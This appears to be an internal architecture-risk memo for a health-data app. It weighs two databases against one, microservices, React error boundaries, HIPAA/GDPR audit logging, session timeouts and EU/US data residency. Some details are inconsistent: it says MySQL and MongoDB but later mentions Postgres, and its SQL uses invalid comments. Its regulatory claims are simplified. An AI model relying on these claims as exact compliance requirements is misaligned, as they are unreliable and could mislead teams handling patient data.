Architecture Risks & Failure Points

The existing codebase uses MySQL for accounts and MongoDB for health data. Each database has:

• Different connection pooling strategies — connection pool settings differ between SQL and NoSQL
• Different backup/restore procedures — MySQL snapshots, MongoDB cluster backups, separate recovery tests
• Different query optimization patterns — SQL indexes vs MongoDB compound indexes, different debugging approaches
• Different transaction semantics — ACID transactions in MySQL, eventual consistency in MongoDB, cross-database transactions are hard
• Doubled infrastructure cost — two database instances, two monitoring dashboards, two incident playbooks

For a small team, this is significant maintenance burden. When schema changes are needed, you must migrate both databases separately.

Microservices are useful for large teams and services that scale independently. But at MVP stage with a small team:

• Network latency — every request from resolver to physiological adds ~5-50ms. Adds up in high-traffic scenarios.
• Failure modes multiply — if any service goes down, the whole system breaks. Need circuit breakers, retries, fallbacks.
• Deployment ceremony — deploying a bug fix now requires: code change, build, push to 3 services, coordinated restart. Much slower iteration.
• Testing is harder — integration tests must spin up 5 Docker containers. Local dev requires same. Slow test loops.
• Debugging distributed issues — a bug might be in resolver or physiological service. Tracing requests across services requires correlation IDs, logging aggregation, APM tooling — all extra setup.

If any React component throws an uncaught exception, the entire app crashes. Users see a blank white screen with no error message. They have no idea what happened.

// A third-party library update introduces a bug
const PatientChart = ({ data }) => {
  return <Recharts data={data.measurements} /> // If data is undefined, throws error
};

// If not caught by an error boundary:
// User sees: blank page
// No error log
// No recovery option

<ErrorBoundary fallback={<ErrorPage />}>
  <Route path="/patients/:id" element={<PatientDetail />} />
</ErrorBoundary>

HIPAA and GDPR require comprehensive audit logs for every access to health data. Currently, no audit logging exists. When a regulator asks "who accessed patient X's data and when?", you have no answer.

What needs to be logged:

• Login / logout (user, timestamp, IP, success/failure)
• Data access (user, resource, timestamp, success/failure)
• Data modification (user, resource, old value, new value, timestamp)
• Consent change (user, patient, consent action, timestamp)
• Permission change (admin, target user, role change, timestamp)

Retrofitting audit logging after the fact is expensive — every API handler must be touched. Build it in from day 1.

CREATE TABLE audit_log (
  id UUID PRIMARY KEY,
  user_id UUID,
  org_id UUID,
  action VARCHAR(50),          // 'login', 'read_patient', 'write_measurement', etc.
  resource_type VARCHAR(50),   // 'patient', 'measurement', 'organization', etc.
  resource_id UUID,
  ip_address INET,
  user_agent TEXT,
  timestamp TIMESTAMPTZ,
  result VARCHAR(20),          // 'success', 'forbidden', 'not_found'
  metadata JSONB               // additional context
);

HIPAA recommends 15-minute inactivity timeout for healthcare applications. Currently, tokens do not expire on inactivity. If a doctor logs in and walks away, an attacker can use their unlocked browser to access patient data indefinitely.

Decisions to make:

• What is the inactivity threshold? (HIPAA typically 15 min, some orgs require 5 min)
• What action triggers inactivity? (page focus loss, no mouse/keyboard, no API calls?)
• What happens on timeout? (redirect to login, show warning + countdown, immediate logout?)
• How to implement? (backend token expiry, frontend timer, both?)

GDPR requires that personal data of EU residents stays in the EU. Hilo is planning to serve both EU and US clinics. The current infrastructure does not support region-specific data routing.

Additionally, HIPAA (if US customers exist) and GDPR both require encryption at rest. Currently unclear if Postgres TDE is enabled.

Technical requirements:

• Provision Postgres in EU region AND US region (separate instances)
• API layer routes requests to correct region based on org.data_residency
• Enable transparent data encryption (TDE) on both instances
• Implement data residency enforcement in middleware (prevent US query on EU data, etc.)